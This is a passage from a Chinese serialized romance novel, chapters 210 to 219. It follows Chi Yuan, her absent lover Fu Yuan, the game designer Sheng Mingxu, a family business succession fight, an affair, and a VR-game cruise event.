防盗门闭合的瞬间,池承彦手中的苹果咚地砸在大理石桌面。果肉的清香混着白松露的异香,在空荡荡的客厅里慢慢发酵成酸涩的气息。 傅家别墅的门廊在夜色中泛着冷光,池鸢站在雕花铁门前深吸口气。 推开门的瞬间,鼎沸的争吵声裹挟着红酒香气扑面而来。 水晶吊灯将满堂人影切割成破碎的光斑,傅程西装革履地站在壁炉前,威士忌酒杯在掌心转得飞快:傅渊消失整整半个月,媒体已经开始乱写,股票明天要是再跌... 老太太扶着雕花扶手想要开口,却被二房太太尖利的嗓音截断:渊儿年纪轻轻就掌大权,现在倒好,拍拍屁股就走人!当初就该听程哥的! 盛明栩,你怎么看?老太太突然转向倚在钢琴边的男人。 那人慢条斯理,银质打火机开合间火星明灭:傅禾不是在海外学企业管理?让他代行职权,正好历练历练。 角落里的傅禾猛地抬头,红酒杯在指间晃出细小涟漪。作为傅家最边缘的小辈,他连董事会都未曾列席过,此刻却成了众人目光的焦点。 池鸢站在阴影里握紧手包,目光掠过空荡荡的位置。 傅渊常坐的那把雕花皮椅上落着层薄灰,水晶吊灯的光斑在椅背上碎成星屑,恍惚间仿佛还能看见那人修长的手指叩击扶手的节奏。 读稿子会吧。傅程扯松领带,领带夹上的翡翠在灯光下泛着冷光,明天记者招待会的通稿,总得有人来念。他意味深长的视线扫过傅禾苍白的脸。 后者握着酒杯的手微微发抖,看了老太太一眼,“程叔不要瞧不起人,还有,我不会让傅家丢人的。” 傅程余光瞥见老太太又把询问的目光投向盛明栩,指甲深深掐进掌心——傅家的事,何时轮到一个外人指手画脚? 水晶吊灯突然明灭了几下,盛明栩敏锐地察觉到空气里凝结的火药味。 他扣上西装纽扣:抱歉,我还有点事。 起身时,定制皮鞋与大理石地面摩擦出轻微的声响,像是给这场闹剧画上休止符。 众人如大梦初醒,纷纷抓起手包、整理领带,在客套的寒暄中作鸟兽散。 池鸢跟着人流走向电梯间,却见盛明栩独自倚靠。 你没事吧?她按下电梯键,镜面倒映出他的修长身影。 盛明栩低笑一声,喉结滚动着吞下未说出口的叹息:没事,我经常帮老太太处理点家事。 第211章 收缩 暮春的风掠过花园藤蔓,将紫藤花吹得簌簌作响。 盛明栩倚着铸铁围栏,指尖夹着的香烟腾起袅袅白雾,在暮色里氤氲成朦胧的云。 傅禾小跑着穿过草地,黑色西装裤沾满草屑,领口歪斜地敞着两颗纽扣,活像只被追赶的惊兔。 栩哥!少年气息不稳,额角还沁着薄汗,如果记者问到财务重组方案怎么办?我连那些数据报表都...他的声音突然卡在喉咙里,盛明栩抬手弹落烟灰的动作让他本能地瑟缩。 你不用回答。低沉嗓音裹着烟草味飘来,盛明栩转身时,双眸在暮色中闪过冷光,以后公司的事都是你负责。这句话像块沉重的铅,砸得傅禾心脏猛地一沉。 可是我...傅禾攥紧西装下摆,指节泛白,我还什么都不会呢,上周连股东会议程都排错了... 那你就等着傅家在你手里完蛋吧。盛明栩慢条斯理地将烟头按灭在黄铜烟灰缸里,火星迸溅的瞬间,他忽然轻笑出声,人须在事上磨,与其对着PPT发抖,不如骑着共享单车去发布会现场,至少能练练胆量。 三天后的发布会现场,镁光灯如白昼。 傅禾站在讲台后,喉结不自然地滚动。 当记者抛出尖锐问题时,他想起盛明栩那句事上磨,鬼使神差地想起小时候学骑车的场景——也是这样摇摇晃晃,却在摔过无数次后突然掌握平衡。 这段视频在社交平台疯传,少年CEO微红的耳尖和逐渐沉稳的应答,让无数网友惊呼商界新颜。 弹幕如同潮水般疯狂滚动,每一秒都有新的留言覆盖屏幕。 “救命!他回答财务问题时推眼镜的动作好苏,谁懂啊!” “果然豪门子弟就是不一样,这气质绝了!” “已经开始幻想他西装革履驰骋商界的样子了,狠狠爱住!” “之前还以为是个养尊处优的公子哥,没想到这么有实力!” “楼上+1,被打脸打得好爽,这业务能力完全不输老狐狸们!” 而此刻蜷缩在廉价酒店床上的傅渊,正盯着手机屏幕冷笑,胡茬遮住了曾经棱角分明的下颌。 池鸢开门时,消毒水混合着汗味扑面而来。 眼前的男人穿着皱巴巴的衬衫,袖口沾着咖啡渍,头发油腻地耷拉在额前。 她伸手要触碰对方,却被傅渊侧身躲开。 去洗个澡吧。池鸢咬住嘴唇,转身时眼角泛红。热水冲刷声从浴室传来,她系上碎花围裙走进厨房,将肉摔在案板上的闷响里,藏着满心说不出的酸涩。 当菜肴摆满餐桌时,傅渊裹着浴巾赤脚走出来,锁骨处还滴着水珠。他盯着蒸腾的热气,突然开口:池鸢,我们不合…… 等等!池鸢手里的筷子当啷掉在瓷碗上,我可以学,我会讨好你母亲,会陪奶奶打麻将...她的声音越来越小,最后化作哽咽,只要你别推开我。 傅渊看着池鸢的一举一动,冷静的没有任何表情。 “傅渊,你尝尝我做的菜,我特意学的,很好吃。” 寂静中,隔壁传来钥匙转动的声响。傅渊的瞳孔骤然收缩,看着池鸢慌乱解释的样子,“隔壁住的是谁。” “啊?” “你知道吗。” “盛氏的盛总。” 傅渊沉默着套上外套,皮革摩擦声在空气里格外刺耳。 等到隔壁房门再次应声而开,盛明栩倚着门框,垂眸点燃香烟,脚步声渐渐远去,过了许久。 池鸢拉着傅渊的胳膊,“你又要走了?” 第212章 顾及 闷热空气凝滞在玄关,傅渊的指尖刚触到门把,骤然响起的裂帛声撕裂死寂。 狂风裹挟着铁锈味的腥气灌进室内,池鸢眼睁睁看着天花板的石膏板像被无形巨手捏碎的饼干,碎渣簌簌落在她蜷起的发梢。 混凝土断裂的轰鸣中,傅渊滚烫的掌心已经扣住她的手腕。 男人袖口蹭过她手背,将她拽进电梯时,池鸢看见窗外翻滚的乌云里,某种鳞片状的阴影正在扭曲蠕动。 电梯门闭合的瞬间,楼体发出不堪重负的呻吟,数字显示屏的蓝光映着傅渊紧绷的下颌线。 她贴着电梯镜面喘息,运动鞋在金属地板上划出刺耳声响。 傅渊解开领口两粒纽扣,露出锁骨处若隐若现的蓝色纹路。 他按向B1层的手指关节泛白,差不多该下楼,你每次都...... 话音被剧烈的晃动打断,池鸢踉跄着撞进他怀里,鼻尖撞上温热的檀木香水味。 我看到游戏情景了。他盯着远处天空,确实逼真如现实..... 池鸢听到他不知和谁说话。 游戏? 场景? 傅渊突然按住她的肩膀。男人侧脸在红蓝交错的光影里忽明忽暗:待在这别动。” 池鸢望着他迅速消失在街角的背影,那句“我也见过这样的游戏”终究卡在喉咙里。 身上还残留着他按住肩膀时的力度,冰凉又带着不容置疑的温度。 她攥紧手机,锁屏壁纸里两人去年在游乐园的合照,笑得格外刺眼。 “果然男人都一个样。”她踢开脚边的石子,刚想追上去,远处突然传来汽车喇叭声把她拉回现实。 不会的,他不会像那些沉溺虚拟世界的人一样,为了打游戏旷工失联、抛下一切……可方才他眼底跳动的数据流,还有面对异常时近乎偏执的冷静,分明与记忆中那个会细心帮她系鞋带的男人判若两人。 风卷起她的衣角,池鸢抱紧双臂,突然发现自己从未真正了解过这个朝夕相处的人。 走出电梯时,池鸢被门口那道黑影惊得后退半步。 廊灯下,盛明栩修长的身影几乎挡住半扇门框,白衬衫领口微敞,腕间的机械表泛着冷光,正用那双深邃的眼睛盯着她。 “怎么?”池鸢下意识抬手摸脸,难道沾上什么东西了? 盛明栩垂眸轻笑,喉结滚动了一下:“没什么。不过是想问你,之前拜托你测试的VR游戏,体验感如何?”他的声音低沉,尾音像钩子般勾着人。 她心里冷哼一声,不是都说这是只有他能设计出的惊世之作吗?还来问她? “有话进来说。”盛明栩邀请她。 池鸢侧身挤过去,鞋都没换就径直走向客厅。 瞥见桌上摆着的啤酒瓶,她二话不说拧开瓶盖,仰头就是一大口。 冰凉的液体下肚,灼烧感从喉咙蔓延到胃里。 盛明栩倚在门边,挑眉看着这个毫无顾忌的女人——在他面前喝酒的人不少,但如此随性的,池鸢还是头一个。 他刚转身想去拿个玻璃杯,身后突然传来压抑的抽噎声。 盛明栩动作一顿,回头就看见池鸢蜷缩在沙发角落,啤酒瓶歪在一旁,泪水不断砸在牛仔裤上,洇出深色的痕迹。 不用问,他也知道原因。傅渊消失已经整整三天了,而那个男人,和他的游戏一样,都藏着太多秘密。 “我都快三十了……再等下去……”池鸢的声音断断续续,“难道真要一辈子……” “你才26。”盛明栩沉默着在她身边坐下,伸手想拍她的背,却又尴尬地悬在半空。 最后,他只是重重叹了口气,胸腔里泛起一丝不易察觉的酸涩——他又何尝不懂这种滋味?在虚拟与现实的夹缝里,有些人,早就丢了自己。 第213章 怜惜 晨光透过盛明栩家的落地窗斜斜洒落,池鸢在冰凉的大理石地板上辗转着睁开眼。 昨夜的威士忌还在太阳穴突突跳动,记忆碎片如同破碎的镜面:红酒杯碰撞的脆响、盛明栩欲言又止的眼神,以及手机屏幕上池宜发来的消息。 她猛地坐起身,后脑勺撞在沙发扶手上。 消毒水的气味突然涌入鼻腔,她恍惚看见小外甥通红的脸蛋和挂着清涕的鼻尖——上周视频时,那孩子正举着卡通温度计,奶声奶气地喊她小风筝姨姨。 池鸢抓起手机,锁屏上的日期刺得她眼眶发烫,微信语音提示:小鸢,你要去拿过敏药...... 医院长廊弥漫着福尔马林与中药混合的气味。 池鸢攥着缴费单等待了好久。 当她冲到取药窗口时,玻璃后的护士正笑着擦拭眼镜:稍等,沈女士在核对处方。 透过半开的侧门,她看见沈曼桃穿着驼色真丝衬衫,烫着波浪卷的长发在阳光下泛着冷光,涂着朱砂红甲油的手指正敲着桌面。 护士,为什么我现在都拿不到......池鸢的质问卡在喉咙里。 沈曼桃转过身的瞬间,消毒水的气味突然变成了十五年前老宅后院的茉莉香。 沈曼桃的高跟鞋声由远及近,黑色裙摆扫过池鸢的衬衫。 她身后的护士小声嘀咕:沈总连父亲的降压药都要亲自过问...... 池鸢后退半步,后腰撞上冰冷的金属椅背,而沈曼桃的目光已经扫过她苍白无血色的脸蛋,嘴角勾起熟悉又陌生的弧度。 沈曼桃涂着蔻丹的指尖轻叩取药窗口,黑曜石耳钉在鬓角投下锋利的阴影。 “沈姐好。”池鸢记得自己最近好像没惹过她,不过这城市就是这么小。 “嗯,不是故意不给你的,我这边要详细核对。”她解释。 池鸢点点头。 但是小孩子的要也慢不得呢。 就在气氛凝滞时,走廊尽头传来沉稳的脚步声。 盛明栩漫不经心地晃着车钥匙走来,黑色高领毛衣衬得下颌线愈发冷峻。 他目光扫过池鸢攥皱的缴费单,忽然轻笑出声,带着几分漫不经心的戏谑:姑姑,你为什么老刁难小姑娘。 沈曼桃挑眉转身,看见侄子插在口袋里的手指正无意识摩挲着车钥匙边缘。 我倒不知道,明栩这么怜香惜玉。沈曼桃指尖划过侄子挺括的西装领口,尾音拖得绵长,不过池小姐看起来脸色不好,我觉得她更需要看看......她凑近池鸢耳畔,温热的呼吸裹着玫瑰香水味。 盛明栩不动声色地挡在两人中间,从池鸢颤抖的掌心抽走药单:护士站说药方要重新核对。 他侧头时,姑姑要没别的事,我先送她去儿科看看? 沈曼桃倚着大理石墙面,看着两人并肩走远的背影。 此刻侄子修长的手指正悬在池鸢肘弯处,像是随时要将人圈进怀里似的。 说这两人没点事情,她都不信了。 想想就有些气急,自家的人,和别人一个鼻孔出气,明栩真的是…… 第214章 天真 消毒水的气味在鼻腔里凝结,盛明栩望着走廊尽头捧着药袋远去的池鸢。 她发梢跳跃的珍珠发卡折射出细碎光芒,喉结滚动着压下无名烦躁,他摸出烟盒的动作刚到半途,手腕突然被人扣住。 这里是公共场合。沈曼桃的声音裹着冷气,指尖捏着半截香烟轻轻旋开,指甲划过他虎口的旧疤。 消毒水混着她腕间的香,在两人之间织成细密的网。 盛明栩嗤笑一声,背靠在贴满消防标识的白墙上。 医院顶灯在他睫毛下投出浓重阴影,我抽烟什么时候分过场合? 他盯着姑姑的眼尾,池鸢那丫头根本没把你和尉迟延的事说透,现在池宜都和他离婚了...... 话音戛然而止时,护士推着治疗车经过,轱辘声碾过寂静的走廊。 沈曼桃松开他的手腕,漫不经心地撩起鬓边碎发,珍珠耳坠在苍白的脸颊旁晃出冷光,早就没联系了。不过是上次谈电影合作,逢场作戏罢了。 我说真的,你该长点心。盛明栩掏出打火机把玩,金属外壳在掌心折射出锋利的光,尉迟延那种人,哪能和姑父比? 沈曼桃垂眸盯着自己的指甲,走廊尽头传来情侣的嬉闹声。 “我和你姑父的感情,淡薄到何种程度你也不是不知道。”指甲深深掐进掌心,沈曼桃突然觉得那些穿梭的情侣之间的感情,烫得人想掉眼泪。 消毒水的气味还未散尽,盛明栩的声音就带着几分冷嘲热讽响起:“沈大小姐可是商圈出了名的女强人,向来是不轻易在任何场合流泪的。” 他倚着墙,漫不经心地把玩着打火机,金属外壳在指尖翻转,折射出细碎的冷光。 沈曼桃垂眸,只有她自己清楚,那些外界眼中的光鲜亮丽。在这弱肉强食的商界,她每日都活在虎狼的瞪视之中。 正思绪翻涌间,沈曼桃的手机突兀响起,屏幕上“尉迟延”三个字。 她语气恢复如常:“我有事先出去了,随时联系。”说罢,转身离去,高跟鞋叩击地面的声响渐渐消失在走廊尽头。 另一边,盛明栩在儿科诊室外耐心等着池鸢。 是因工作忙碌饮食不规律,导致肚子不舒服,医生开了些药。 池鸢坐上盛明栩的车,轻声道谢:“谢你了。” “不用客气,”盛明栩发动车子,语气波澜不惊,“说起来我姑姑之前拍了你得隐私照,我得找时间把东西给你。” 这话从他口中轻飘飘说出,让池鸢忍不住想通过后视镜看清他此刻的表情——究竟是怀着怎样的心思,才能如此自然地提及这般敏感的事? 正想着,池鸢腹中又是一阵绞痛,她下意识蜷起身子,脸色变得煞白。 车子停在池宜家楼下,池鸢强撑着上楼。 一进门,便像个保姆似的开始给小外甥喂药。小外甥尉迟怀皱着眉头,满脸不悦:“你怎么才来。”那副不尊重人的模样,活脱脱就是池宜的翻版。 尉迟怀在床上蹦蹦跳跳,见池鸢脸色不对,歪着头问:“小姨,你怎么了?”又伸手拽她,“小姨,起来陪我玩。” 池鸢捂着肚子,有气无力道:“今天不行,肚子疼。” “你是不是来大姨妈了。”尉迟怀眨着大眼睛,天真无邪的话语让池鸢一愣。 “不是,谁教你的?”池鸢勉强扯出一抹笑,“昨天喝了酒,快去给我倒点热水。” 小男孩还算听话,“蹭”地一下跑出去倒水。 可等他端着水杯回来时,却见池鸢已经蜷缩在沙发上沉沉睡去,眉头仍紧紧皱着,在寂静的房间里,只余她轻微的呼吸声。 第215章 冷光 月光从纱帘缝隙漏进来,在池鸢的睫毛上投下细碎的影。 她动了动酸涩的脖颈,指尖无意识蹭过脸颊,一片濡湿的触感让她猛然清醒——不知何时流的口水,在枕头上洇出深色的痕迹。 楼下突然传来钥匙转动声,金属碰撞的脆响在寂静的公寓里格外清晰。 池鸢翻身坐起,睡衣下摆胡乱缠在腿上。会是池宜吗? 这个时间点姐姐也应该回来的。她赤着脚踩在冰凉的地板上,小心翼翼贴着门缝往外挪,心跳随着脚步声越来越近。 客厅的水晶吊灯没开,只亮着一盏壁灯。 池鸢刚要探头,就看见两道交叠的身影。尉迟延的西装外套半褪在肩头,领带歪斜地挂在脖子上,而沈曼桃的红唇几乎要贴上他的耳垂。 裙子的珍珠肩带滑落,露出大片雪白肌肤,两人的肢体纠缠在一起,在暖黄的灯光下交织成暧昧的剪影。 “哗啦——”儿童房的门突然被撞开。 尉迟怀攥着变形金刚玩具冲出来,稚嫩的脸上满是愤怒。他扑向沈曼桃,肉乎乎的小手死死揪住那条价值不菲的真丝裙摆:“你放开我爸爸!” 沈曼桃嫌恶地皱眉,高跟鞋猛地往后一退。“小东西!” 她的手狠狠一推,六岁的孩子踉跄着跌坐在地。 尉迟怀的哭声瞬间炸开,带着孩童特有的尖锐和恐惧:“小姨!小姨快来!” 池鸢紧张。 尉迟延已经转头看向她藏身的方向,阴鸷的目光像淬了毒的箭。 她刚要迈步,眼前突然闪过刺目的白光。 彩色方块在虚空中炸开,如同数字世界的烟花。 池鸢踉跄着扶住不存在的墙壁,天旋地转间,哥特式尖顶教堂的轮廓渐渐清晰。 白鸽掠过玫瑰窗,阳光透过彩绘玻璃,在地面投下斑斓的光影。 “小鸢!”熟悉的声音带着笑意。傅渊穿着笔挺的黑色西装。 他伸出的手掌穿过池鸢的身体,却让她真切感受到温度:“这是全息投影教堂,我调试了整整三天。” 池鸢后退半步,后背抵上冰凉的大理石柱。 婚纱拖尾在虚拟地面上泛着珍珠光泽,可她分明看见自己的睡裙下摆还沾着饼干碎屑。 “这。”她听见自己沙哑的声音,“在游戏里结婚?” 傅渊的影像微微虚化,又很快凝聚成型。 他抬手想要触碰她的脸,最终只是停在半空中:“安的设计太超前了,这个游戏能同步脑电波......”他的声音突然扭曲成电子杂音,“嗯?信号有些不稳定?” 池鸢握着他的手,看着原本有温度有质感的手化作晶体碎片。 “傅渊,不要走。”她做梦都期待的婚礼,即使是虚幻的,也不要这么快离开。 现实的一切太令人痛苦了。 傅渊,你带我…… “池鸢,等我调试好游戏。” “嗯?” “我很快就回来。” “是虚拟的还是真的来找我。” 她迫切地追问,掌心仍固执地保持着紧握的姿势,仿佛这样就能留住他即将消散的气息。 孩子的哭声骤然响起,池鸢猛地睁开眼。 床头的手机屏幕泛着幽蓝冷光,十一点十七分。 她摸了摸脸颊,全是冷汗。 “小姨,你为什么哭了。”稚嫩的声音带着不解与担忧,尉迟怀仰着小脸,肉乎乎的手拽着池鸢的裤腿轻轻摇晃。 池鸢一愣,下意识地摸向脸颊,指尖触到一片湿润,才惊觉不知何时泪水已悄然滑落。 她怔怔地望着掌心,恍惚间,仿佛还能感受到那虚幻的温度,还有傅渊消散时的无奈与承诺。 这时,沈曼桃转身,优雅地在沙发坐下,柔软的沙发微微下陷。她看着神情恍惚的池鸢,目光里闪过一丝疑惑,随后开口:“赶紧从我家出去。” 第216章 雨帘 月光像融化的焦糖裹住玻璃窗,池鸢指尖悬在门把上迟迟未动。 身后传来威士忌酒杯轻碰桌面的脆响,尉迟延衬衫第二颗纽扣歪斜着,折射出暧昧的光晕——这个本该属于姐姐的男人,此刻却与沈曼桃在她暂住的公寓里推杯换盏。 原来这是沈小姐的房子。她听见自己的声音像浸了水的薄纸,我这就带小怀离开。 正要转身,却见沈曼桃猩红的指甲划过手机屏幕,突然出声:“这么快就到楼下了?” 裙子在她走动间泛起珍珠光泽,那双镶钻高跟鞋踩在地板上的声响,像极了某种挑衅的鼓点。 池鸢贴在冰凉的玻璃上往下看,宾利车标在暮色里泛着冷光。 尉迟延倚在门框上,袖口露出的腕表价值不菲:老沈最近在平关等着升职呢,这种戏码对她来说不过是。”他语气轻佻,仿佛谈论的是无关紧要的电影剧本,相敬如宾的婚姻,总要添点刺激才有意思。 所以你连她的婚姻都要参与?池鸢猛地转身,发梢扫过空气发出细微的声响,比起揣测别人的婚姻,不如多关心我姐。 “你姐不需要我关心,她的心很硬。”尉迟延笑着解释。 酒精与香水混合的气息令人作呕,池鸢一副赶人的做派,出去。现在就出去。 推搡间,尉迟延的袖扣蹭过她手腕。 他一脸的不情愿,这大半夜的让他上哪去。 尉迟延和沈曼桃不同,沈曼桃原本是可以呆在这的,但是看到池鸢有点想离开的样子就不愿意了。她就是喜欢争个面子。 难得有人愿意给她当观众,这场景分明是刻意为之的戏剧舞台,而池鸢成了被迫入场的看客。 彼时池鸢不懂这份近乎病态的占有欲从何而来,直到后来才知道,沈家大宅里每一件瓷器、每一幅字画,都要在父亲账本上标着价格——连女儿的存在,都是用来维系家族体面的商品。 尉迟延想起沈曼桃对着汽车镜子补口红的姿态像只开屏的孔雀,“老沈总说我太作”,唇膏在镜中划出妖冶的弧线,“可你知道吗?他最爱看我发疯的样子。” 待大门隔绝了所有声响,池鸢才发现自己心跳的频繁。 浴室蒸腾的热气里,小怀咯咯笑着拍水,水珠溅在瓷砖上开出透明的花。 她望着孩子纯真的笑脸,忽然想起多年前自己也是这样,将糖纸叠成小船放进水里。 北山的晨雾未散时,池鸢的手机在包里震动。 傅渊发来的定位藏在密密麻麻的等高线里,背景是半隐在云雾中的古寺飞檐。 汽车碾过碎石路,惊起一群灰鸽,这一段路不好开。 虽然心里这么想,脚下还是踩着油门,硬生生的颠簸了好长一段路。 停车时,她看见他立在银杏树下,棕色防风服被山风吹得猎猎作响,下颌线却比记忆中更加锋利。 “委屈你了。”他垂眸将三支香插入香炉,烟火在潮湿的空气里明明灭灭,“原说要在圣心教堂给你一场婚礼。” 池鸢望着佛像慈悲的眉眼,突然伸手拂去他肩头的落叶:只要是你,哪里都好。 暴雨来得猝不及防。傅渊将她护进车里,雨水顺着他微长的鬓角滑进衣领。 电话那头传来的争吵声刺破雨幕,傅渊听见母亲字字诛心:现在的傅氏风雨飘摇,你连自己都难保,拿什么给她幸福? 后视镜里,古寺飞檐在雨帘中渐渐模糊。池鸢看着傅渊的身影渐渐远去。 脑海里却想起他转头时,睫毛上的水珠落在池鸢手背:“再等等,等我扫清障碍,一定风风光光娶你回家。” 山雨滂沱,远处的寺庙钟声穿透雨幕,惊起林间白鹭无数。 第217章 甜蜜 盛明栩精心筹备的游戏两周年纪念会,在一艘奢华的游船上作为地点。 这艘游船宛如一座移动的宫殿,音乐悠扬,宾客谈笑风生。 池鸢手中紧紧攥着那封邀请函,她按照约定的时间准时登上了游船。 踏入会场的瞬间,她的目光不由自主地在人群中搜寻。很快,她便看到了那个熟悉的身影——盛明栩。 他站在甲板边缘,身姿挺拔,侧脸在夕阳的映照下轮廓分明,周身散发着一种让人难以忽视的气场。 盛明栩察觉到有人靠近,微微转头,当看清来人是池鸢时,嘴角不自觉地勾起一抹嘲讽的弧度,“你脸皮倒是厚,有活动你就来。” 他的话语像锋利的刀片,毫不留情地划破空气。 池鸢张了张嘴,想要解释自己最近的忙碌,可话到嘴边又被盛明栩打断。 “你不用解释,你的号已经两个礼拜没登陆了吧。”他语气冷淡,眼神中满是不屑。 池鸢急得眼眶发红,刚要开口,盛明栩却不耐烦地摆了摆手,“算了,你进去吧。” 他在心里暗自嘀咕,反正就是来蹭游船的。 池鸢听着这刺耳的话语,心中满是委屈和愤怒。这也太过分了,不愿意办就不办好了,何必这样冷嘲热讽。她咬了咬嘴唇,转身朝会场走去,脚步却有些踉跄。 盛明栩低头看着手中的游船卡,思绪飘忽间,突然瞥见一个熟悉的名字——冯宛。他微微挑眉,倒是没想到,她也会回来。 不多时,冯宛优雅地出现在甲板上。她身着一袭淡紫色的连衣裙,裙摆随风轻轻飘动,宛如一朵盛开的紫罗兰。 “我是一直有在玩,作为排练活动的消遣。”她笑着解释道,声音轻柔悦耳。 盛明栩看着她,心中自然清楚她的游戏动态,毕竟冯宛可是游戏里出了名的大金主,充值记录堪称惊人。“最近哪来这么多钱,还有,你那个小男友呢。”他的问题直接而犀利。 冯宛的笑容微微一滞,随即落寞地说:“分手了,爸爸作为奖励给了我一块地皮和一些零花钱。” 就在这时,盛明栩的手机震动起来,是沈曼桃发来的短信:好好照顾冯宛。 沈曼桃对池鸢的出现感到不安,她希望通过冯宛,减少盛明栩和池鸢的接触。 冯宛目光真诚地看向盛明栩,“你最近有什么项目,我可以投资的。” 她想着钱没地方花的话,能为盛明栩的事业出一份力,也算有了去处。 盛明栩端起酒杯,轻抿一口,语气沉稳,“都是有风险的,我不能保证大小姐可以有的赚。” “没事,我又不需要钱。”冯宛说着,脑海中闪过和前男友的过往,眼眶不禁微微泛红。她吸了吸鼻子,“我进房间了。” “嗯。”盛明栩轻声应道,目光温柔地目送冯宛离开,眼神中有着池鸢从未见过的深情。 这一幕被不远处的池鸢看在眼里,她的心猛地咯噔一下,像是被一只无形的手紧紧攥住。 夜幕降临,华灯初上。 晚餐时分,众人围坐在餐桌旁,气氛热烈。有人兴奋地提议:“来船上一定要去岛上体验盛总的新游戏,还是超刺激的VR版本!”大家纷纷附和,开始猜测起游戏的胜率。 此时,细心的池鸢发现登船卡明显有两种颜色,心中不禁泛起疑惑。怎么会有两种颜色,对战吗,这是她不擅长的。 她下意识地想要靠近盛明栩,坐在他附近的位置,可就在她坐下的时候,盛明栩却突然起身,快步走开。池鸢满心疑惑地望着他的背影,不知道他要去做什么。 没过多久,盛明栩从房间里走了出来,手中捧着一大束娇艳欲滴的红玫瑰,径直走向冯宛,将花递到她面前。那束花,鲜艳夺目,仿佛他炽热的心意。 池鸢看着这一幕,垂着头,脸上写满了失落与不满。对面的小男生见状,小声解释道:“这也不奇怪,听说那个女生,在游戏里冲了好多钱。” 池鸢点了点头,突然有些想傅渊了。在这璀璨的游船上,她感觉自己就像一个多余的旁观者,看着别人的甜蜜与幸福,而自己的心事,却只能默默藏在心底。 第218章 团建照片 池鸢一进房间,撞进一双湿漉漉的眼睛。 尉迟怀蜷在她铺着碎花床单的床上,怀里紧紧搂着皱巴巴的恐龙玩偶,发梢还沾着汗珠。 尉迟怀,你为什么会在这?池鸢将包甩在沙发上,目光扫过儿童座椅上残留的饼干碎屑。 空调出风口掀起男孩发间几缕细软的碎发,像振翅欲飞的蝴蝶。 我闲着无聊。尉迟怀把脸埋进恐龙肚皮,声音闷闷的。 其实他是躲在车后座,趁池鸢搬行李时溜进船上的。 这几天他总梦见小姨穿着会发光的衣服,在彩虹桥上跳舞。 池鸢蹲下身,指尖拂过孩子膝盖上的淤青:你跟着我来这里,你妈不担心吗? 尉迟怀耳边只有邻家男孩刺耳的嘲笑:尉迟怀,小垃圾,打不过,就会跑!那天尉迟怀把对方的遥控飞机摔得粉碎,自己膝盖也磕破了皮。 小姨,你不要赶我走。尉迟怀突然攥住她的衣角,睫毛上沾着将落未落的泪珠。阳光透过纱帘在他手背投下斑驳光影,像撒了一把破碎的星辰。 池鸢望着窗外渐暗的海面,渡轮汽笛声呜咽着掠过天际线。现在送孩子回去,恐怕要在风浪里颠簸四个小时。她叹了口气,指尖轻轻刮过男孩泛红的鼻尖:你乖乖的,不要到处乱跑。 好,我答应你。尉迟怀郑重地点头,小手攥成拳头贴在胸口。这让池鸢想起他第一次学会系鞋带时,也是这样严肃认真的表情。 当池鸢拨通池宜电话时,背景音里正传来此起彼伏的欢呼声。 池宜的声音裹着香槟气泡般的雀跃:池鸢,你替我先照顾一下,到时候我给你买限量款包包! 踏入VR世界的瞬间,咸涩的海风化作电子合成的清凉雾气。 尉迟怀攥着池鸢的手指微微发颤,看着队友们从悬浮的全息货架上取出装备。当池鸢把变形金刚玩具塞进他掌心时,男孩的瞳孔里倒映着无数跳跃的数据流,像银河坠入了深潭。 咔嚓快门声响时,盛明栩的单反镜头突然歪向一边。 他推了推金丝眼镜,镜片后的目光扫过队伍里那个格格不入的小身影:池小姐,这地方不是孩子来的。海风卷起他定制西装的下摆。 池鸢正要开口,周围已经响起此起彼伏的劝阻声。 扎着双马尾的技术员递来草莓味软糖:小弟弟,喜欢这个玩具吗? 穿汉服的姑娘蹲下身,灵巧的手指在半空翻飞,变出一只闪着荧光的纸鹤,送给小孩。 尉迟怀突然拽紧池鸢的裙摆,躲在她身后。 不远处冯宛递来的毛绒玩具悬在半空,女人精心打理的卷发在海风里扬起,她身上的味道却让他想起医院消毒水的气味。 明栩,和小孩子生什么气。冯宛的声音甜得像浸了蜜,却在尉迟怀用力推开她的瞬间凝固。 盛明栩正要发作,池鸢已经蹲下身将孩子护在怀里,发梢扫过男孩滚烫的脸颊。 暮色彻底吞没最后一丝霞光时,盛明栩重新调整焦距。 取景框里,尉迟怀正踮脚给池鸢别上不知从哪摘来的野花,海风掀起两人的衣角,像两只依偎的蝴蝶。 这次...就留着吧。盛明栩低声呢喃,按下快门的手指突然变得温柔。 暮色漫进海景房时,冯宛对着梳妆镜调整珍珠耳钉,手机在绒布面妆台上震出细碎声响。 沈曼桃的来电备注泛着冷光。 “冯宛,相处的怎么样?” 窗外海浪拍岸,冯宛望着镜中自己上扬的嘴角,忽然想起今早尉迟怀推开她时,池鸢护住孩子的那个动作。 “还可以吧,出来散散心。” 团建群里刚弹出新消息,满屏都是队友围着池鸢和小外甥的合影,连向来严苛的盛明栩已经犯了很多戒备。 “你就别安慰我了,我这能看到监控,池鸢又一次吸引了全部注意力。”沈曼桃的声音带着抱怨,“明明是为了捧你策划的团建,现在倒好,全成她的个人秀场!” 冯宛望着镜中自己泛红的眼眶,想起自己在剧组演的白莲花角色,最近演出票卖得不好。如今,连五岁的孩子都能看穿她的善意。 “算了。” “你和明栩就不能回到以前了吗?”沈曼桃又一次担心。 冯宛何尝不想呢,可是当初是自己拒绝了盛明栩,现在的处境,也是困难。 第219章 街景 晨光刚刺破海面,甲板上就响起此起彼伏的喧闹声。 工会成员举着任务手册穿梭在人群中,将度假村的木质长廊震得嗡嗡轻颤。 池鸢正用银勺搅动着燕麦粥,温热的奶香混着海风的咸涩,在齿间晕开绵密的口感。 两位请留步。深灰西装的男人突然按住他们的椅背,袖口处绣着的烫金纹样在阳光下泛着冷光,盛总吩咐过,今天的岛,你们不用去。 尉迟怀刚要起身的动作僵在半空,池鸢却将最后一口粥送进嘴里,瓷勺磕在碗沿发出清脆声响:谢谢转达,但我们自己能做决定。 她话音未落,青瓷餐盘突然被人重重扫落,白瓷碎片在柚木地板上炸开,溅起的燕麦粥渍在尉迟怀米白球鞋上洇出深色痕迹。 听不懂人话?染着酒红指甲的女人踩着十厘米细高跟逼近,香水味里混着海风都散不去的压迫感,万一出了事谁担得起?她指尖划过水池边堆叠的不锈钢餐盘,水珠顺着纹路蜿蜒而下,厨房正缺人手,这可是为你们好。 尉迟怀就要反驳,池鸢按住他。 海水拍打船舷的声音突然清晰起来,她蹲下身捡拾碎片时,余光瞥见对方黑丝下若隐若现的工会徽章——和昨天那群热情接待的工作人员,是同个标识。 小怀。她压低声音将碎片收进垃圾桶,在别人的地盘,别硬碰硬。温热的水珠顺着橡胶手套边缘滑落,在瓷砖上凝成细小的水洼。 与此同时,盛明栩正和冯宛漫步在青石巷。 